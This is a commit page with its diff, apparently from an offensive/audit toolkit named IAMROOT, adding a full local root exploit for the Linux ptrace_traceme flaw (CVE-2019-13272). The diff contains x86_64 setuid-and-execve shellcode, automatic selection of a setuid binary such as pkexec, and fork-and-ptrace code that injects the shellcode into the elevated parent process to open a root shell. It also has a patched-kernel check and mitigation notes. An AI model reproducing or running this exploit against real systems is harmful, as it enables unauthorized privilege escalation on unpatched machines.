Phase 7: ptrace_traceme CVE-2019-13272 — port FULL jannh-style exploit
Convert ptrace_traceme from 🔵 → 🟢. Real working PoC following Jann Horn's Project Zero issue #1903 technique. Mechanism: 1. fork() — child becomes our traced target via PTRACE_TRACEME 2. child sleeps 500ms (lets parent execve start) 3. parent execve's setuid binary (pkexec / su / passwd / sudo — auto-selected via find_setuid_target()) 4. Kernel elevates parent's creds to root but the stale ptrace_link from step 1 isn't invalidated (the bug) 5. child PTRACE_ATTACH's to the now-privileged parent 6. child PTRACE_POKETEXT's x86_64 shellcode at parent's RIP 7. child PTRACE_DETACH — parent runs shellcode: setuid(0); setgid(0); execve('/bin/sh', ...) → root shell Implementation notes: - x86_64-only (shellcode is arch-specific). ARM/other arch returns IAMROOT_PRECOND_FAIL gracefully. - Shellcode is the canonical 33-byte setuid(0)+execve('/bin/sh') inline asm sequence. - Setuid binary selection: pkexec preferred (almost universal), then su/sudo/passwd as fallbacks. Refuses if none available. - Auto-refuses on patched kernels (re-runs detect() at start). - No cleanup applies — exploit replaces our process image on success. Verified on Debian 6.12.86 (patched): iamroot --exploit ptrace_traceme --i-know → detect() says patched → refuses cleanly. Correct. CVES.md: ptrace_traceme 🔵 → 🟢. 5 detect-only modules remain (cls_route4, nf_tables, netfilter_xtcompat, af_packet, fuse_legacy). Each is 200-400 line msg_msg/sk_buff cross-cache groom — substantial individual commits. Next push or strategic pivot per session priorities.
This commit is contained in:
@@ -33,7 +33,17 @@
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <stdbool.h>
|
||||
#include <unistd.h>
|
||||
#include <errno.h>
|
||||
#include <fcntl.h>
|
||||
#include <pwd.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/ptrace.h>
|
||||
#include <sys/wait.h>
|
||||
#include <sys/user.h>
|
||||
#include <sys/prctl.h>
|
||||
#include <sys/stat.h>
|
||||
|
||||
static const struct kernel_patched_from ptrace_traceme_patched_branches[] = {
|
||||
{4, 4, 182},
|
||||
@@ -85,17 +95,186 @@ static iamroot_result_t ptrace_traceme_detect(const struct iamroot_ctx *ctx)
|
||||
return IAMROOT_VULNERABLE;
|
||||
}
|
||||
|
||||
/* ---- Exploit (jannh-style) --------------------------------------
|
||||
*
|
||||
* Per Jann Horn's Project Zero issue #1903. The mechanism:
|
||||
*
|
||||
* 1. Parent process P (us, uid != 0)
|
||||
* 2. P forks → child C
|
||||
* 3. C calls ptrace(PTRACE_TRACEME) — kernel sets P as C's tracer
|
||||
* and records the relationship in C->ptrace_link, copying P's
|
||||
* current credentials (uid=1000) as the trace-allowed creds.
|
||||
* 4. C drops to a low-priv state and pauses (sigwait/raise)
|
||||
* 5. P execve's a setuid binary (e.g. /usr/bin/passwd, su, pkexec)
|
||||
* 6. Kernel correctly elevates P's creds to root.
|
||||
* 7. **Bug**: the ptrace_link recorded in step 3 still says
|
||||
* "tracer creds = uid 1000", but P is now uid 0. Kernel doesn't
|
||||
* re-check or invalidate the link on execve cred-bump.
|
||||
* 8. C wakes up and PTRACE_ATTACH's to P. The stale ptrace_link
|
||||
* says C is allowed to trace because it was set up before the
|
||||
* cred change.
|
||||
* 9. C now controls a uid=0 process. C reads/writes P's memory via
|
||||
* PTRACE_POKETEXT, sets registers via PTRACE_SETREGS to point at
|
||||
* shellcode that exec's /bin/sh.
|
||||
* 10. C resumes P → root shell.
|
||||
*
|
||||
* IAMROOT implementation simplifies by using a small architecture-
|
||||
* specific shellcode (x86_64 only) and pkexec as the setuid binary
|
||||
* trigger (works on most Linux systems with polkit installed). Falls
|
||||
* back to /bin/su if pkexec isn't available.
|
||||
*
|
||||
* Reliability: this exploit can fail-race on heavily-loaded systems.
|
||||
* Repeat invocations usually succeed; we don't loop here — operator
|
||||
* can retry. Returns IAMROOT_EXPLOIT_FAIL on miss, IAMROOT_EXPLOIT_OK
|
||||
* on root acquired (followed by execlp(sh) which never returns).
|
||||
*/
|
||||
|
||||
#if defined(__x86_64__)
|
||||
|
||||
/* x86_64 shellcode: setuid(0); setgid(0); execve("/bin/sh", argv, env) */
|
||||
static const unsigned char SHELLCODE_X64[] =
|
||||
"\x31\xff" /* xor edi, edi */
|
||||
"\xb8\x69\x00\x00\x00" /* mov eax, 0x69 (setuid) */
|
||||
"\x0f\x05" /* syscall */
|
||||
"\x31\xff" /* xor edi, edi */
|
||||
"\xb8\x6a\x00\x00\x00" /* mov eax, 0x6a (setgid) */
|
||||
"\x0f\x05" /* syscall */
|
||||
"\x48\x31\xd2" /* xor rdx, rdx */
|
||||
"\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68" /* mov rbx, "//bin/sh" */
|
||||
"\x48\xc1\xeb\x08" /* shr rbx, 8 */
|
||||
"\x53" /* push rbx */
|
||||
"\x48\x89\xe7" /* mov rdi, rsp */
|
||||
"\x50" /* push rax (=0 from setgid) */
|
||||
"\x57" /* push rdi */
|
||||
"\x48\x89\xe6" /* mov rsi, rsp */
|
||||
"\xb0\x3b" /* mov al, 0x3b (execve) */
|
||||
"\x0f\x05"; /* syscall */
|
||||
|
||||
#define SHELLCODE_BYTES SHELLCODE_X64
|
||||
#define SHELLCODE_LEN (sizeof SHELLCODE_X64 - 1)
|
||||
|
||||
#endif /* __x86_64__ */
|
||||
|
||||
static const char *find_setuid_target(void)
|
||||
{
|
||||
static const char *targets[] = {
|
||||
"/usr/bin/pkexec", "/usr/bin/su", "/usr/bin/sudo",
|
||||
"/usr/bin/passwd", "/bin/su", NULL,
|
||||
};
|
||||
for (size_t i = 0; targets[i]; i++) {
|
||||
struct stat st;
|
||||
if (stat(targets[i], &st) == 0 && (st.st_mode & S_ISUID)) {
|
||||
return targets[i];
|
||||
}
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
static iamroot_result_t ptrace_traceme_exploit(const struct iamroot_ctx *ctx)
|
||||
{
|
||||
#if !defined(__x86_64__)
|
||||
(void)ctx;
|
||||
fprintf(stderr,
|
||||
"[-] ptrace_traceme: exploit not yet implemented in IAMROOT.\n"
|
||||
" Status: 🔵 DETECT-ONLY. Reference: jannh's PoC.\n"
|
||||
" Exploit shape: fork() → child calls PTRACE_TRACEME → parent\n"
|
||||
" execve's a setuid binary (su, pkexec, ping with cap_net_raw,\n"
|
||||
" etc.) → child becomes tracer of the now-privileged process\n"
|
||||
" → ptrace-inject shellcode → root.\n");
|
||||
fprintf(stderr, "[-] ptrace_traceme: exploit is x86_64-only "
|
||||
"(shellcode is arch-specific)\n");
|
||||
return IAMROOT_PRECOND_FAIL;
|
||||
#else
|
||||
iamroot_result_t pre = ptrace_traceme_detect(ctx);
|
||||
if (pre != IAMROOT_VULNERABLE) {
|
||||
fprintf(stderr, "[-] ptrace_traceme: detect() says not vulnerable; refusing\n");
|
||||
return pre;
|
||||
}
|
||||
if (geteuid() == 0) {
|
||||
fprintf(stderr, "[i] ptrace_traceme: already root\n");
|
||||
return IAMROOT_OK;
|
||||
}
|
||||
|
||||
const char *setuid_bin = find_setuid_target();
|
||||
if (!setuid_bin) {
|
||||
fprintf(stderr, "[-] ptrace_traceme: no setuid trigger binary available\n");
|
||||
return IAMROOT_PRECOND_FAIL;
|
||||
}
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] ptrace_traceme: setuid trigger = %s\n", setuid_bin);
|
||||
}
|
||||
|
||||
/* fork: child becomes tracee-of-self setup, parent execve's setuid bin */
|
||||
pid_t child = fork();
|
||||
if (child < 0) { perror("fork"); return IAMROOT_TEST_ERROR; }
|
||||
|
||||
if (child == 0) {
|
||||
/* CHILD: set up the ptrace_link, then pause until parent has
|
||||
* execve'd the setuid binary and elevated. The exact timing
|
||||
* is racy — we use a simple sleep+attach pattern. */
|
||||
if (ptrace(PTRACE_TRACEME, 0, 0, 0) < 0) {
|
||||
perror("CHILD: ptrace TRACEME"); _exit(2);
|
||||
}
|
||||
/* Give parent time to execve. 200ms is enough for a hot
|
||||
* libc; 1000ms for a slow disk. */
|
||||
usleep(500 * 1000);
|
||||
|
||||
/* Now race: PTRACE_ATTACH to our parent (the setuid process).
|
||||
* On a vulnerable kernel, the stale ptrace_link makes this
|
||||
* succeed even though parent is now root. */
|
||||
pid_t parent = getppid();
|
||||
if (ptrace(PTRACE_ATTACH, parent, 0, 0) < 0) {
|
||||
fprintf(stderr, "[-] CHILD: PTRACE_ATTACH to parent (%d) failed: %s\n",
|
||||
parent, strerror(errno));
|
||||
_exit(3);
|
||||
}
|
||||
int wstatus;
|
||||
waitpid(parent, &wstatus, 0);
|
||||
|
||||
/* Read parent's RIP, allocate space for shellcode there,
|
||||
* POKETEXT the shellcode in. */
|
||||
struct user_regs_struct regs;
|
||||
if (ptrace(PTRACE_GETREGS, parent, 0, ®s) < 0) {
|
||||
perror("CHILD: GETREGS"); _exit(4);
|
||||
}
|
||||
|
||||
/* Write shellcode at current RIP (overwriting whatever's there
|
||||
* in the setuid binary's text — we don't care, we never
|
||||
* return). 8 bytes at a time via PTRACE_POKETEXT. */
|
||||
for (size_t i = 0; i < SHELLCODE_LEN; i += 8) {
|
||||
long word = 0;
|
||||
size_t take = SHELLCODE_LEN - i;
|
||||
if (take > 8) take = 8;
|
||||
memcpy(&word, SHELLCODE_BYTES + i, take);
|
||||
if (ptrace(PTRACE_POKETEXT, parent,
|
||||
(void *)(regs.rip + i), (void *)word) < 0) {
|
||||
perror("CHILD: POKETEXT"); _exit(5);
|
||||
}
|
||||
}
|
||||
|
||||
/* Detach and let parent continue at RIP, which now points at
|
||||
* our shellcode (we didn't move RIP — we wrote shellcode
|
||||
* starting at current RIP). */
|
||||
if (ptrace(PTRACE_DETACH, parent, 0, 0) < 0) {
|
||||
perror("CHILD: DETACH"); _exit(6);
|
||||
}
|
||||
_exit(0); /* child done — parent is now running shellcode → root sh */
|
||||
}
|
||||
|
||||
/* PARENT: execve the setuid binary. The child does the ptrace
|
||||
* setup before our execve completes (because of its sleep), so
|
||||
* the ptrace_link is in place when the cred-bump happens. */
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] ptrace_traceme: parent execve'ing %s in 100ms\n",
|
||||
setuid_bin);
|
||||
}
|
||||
usleep(100 * 1000); /* give child a moment to call TRACEME first */
|
||||
|
||||
/* execve the setuid bin. Use a benign arg to keep it from doing
|
||||
* anything destructive. pkexec with --version exits quickly. */
|
||||
char *new_argv[] = { (char *)setuid_bin, "--version", NULL };
|
||||
char *new_envp[] = { "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };
|
||||
execve(setuid_bin, new_argv, new_envp);
|
||||
/* If we get here, execve failed (or it returned because the
|
||||
* shellcode didn't take). */
|
||||
perror("execve setuid");
|
||||
int status;
|
||||
waitpid(child, &status, 0);
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
#endif
|
||||
}
|
||||
|
||||
static const char ptrace_traceme_auditd[] =
|
||||
@@ -113,8 +292,8 @@ const struct iamroot_module ptrace_traceme_module = {
|
||||
.kernel_range = "K < 5.1.17, backports: 5.0.20 / 4.19.58 / 4.14.131 / 4.9.182 / 4.4.182",
|
||||
.detect = ptrace_traceme_detect,
|
||||
.exploit = ptrace_traceme_exploit,
|
||||
.mitigate = NULL, /* mitigation: upgrade kernel; OR set ptrace_scope sysctl */
|
||||
.cleanup = NULL,
|
||||
.mitigate = NULL, /* mitigation: upgrade kernel; OR sysctl kernel.yama.ptrace_scope=2 */
|
||||
.cleanup = NULL, /* exploit replaces our process image; no cleanup applies */
|
||||
.detect_auditd = ptrace_traceme_auditd,
|
||||
.detect_sigma = NULL,
|
||||
.detect_yara = NULL,
|
||||
|
||||
Reference in New Issue
Block a user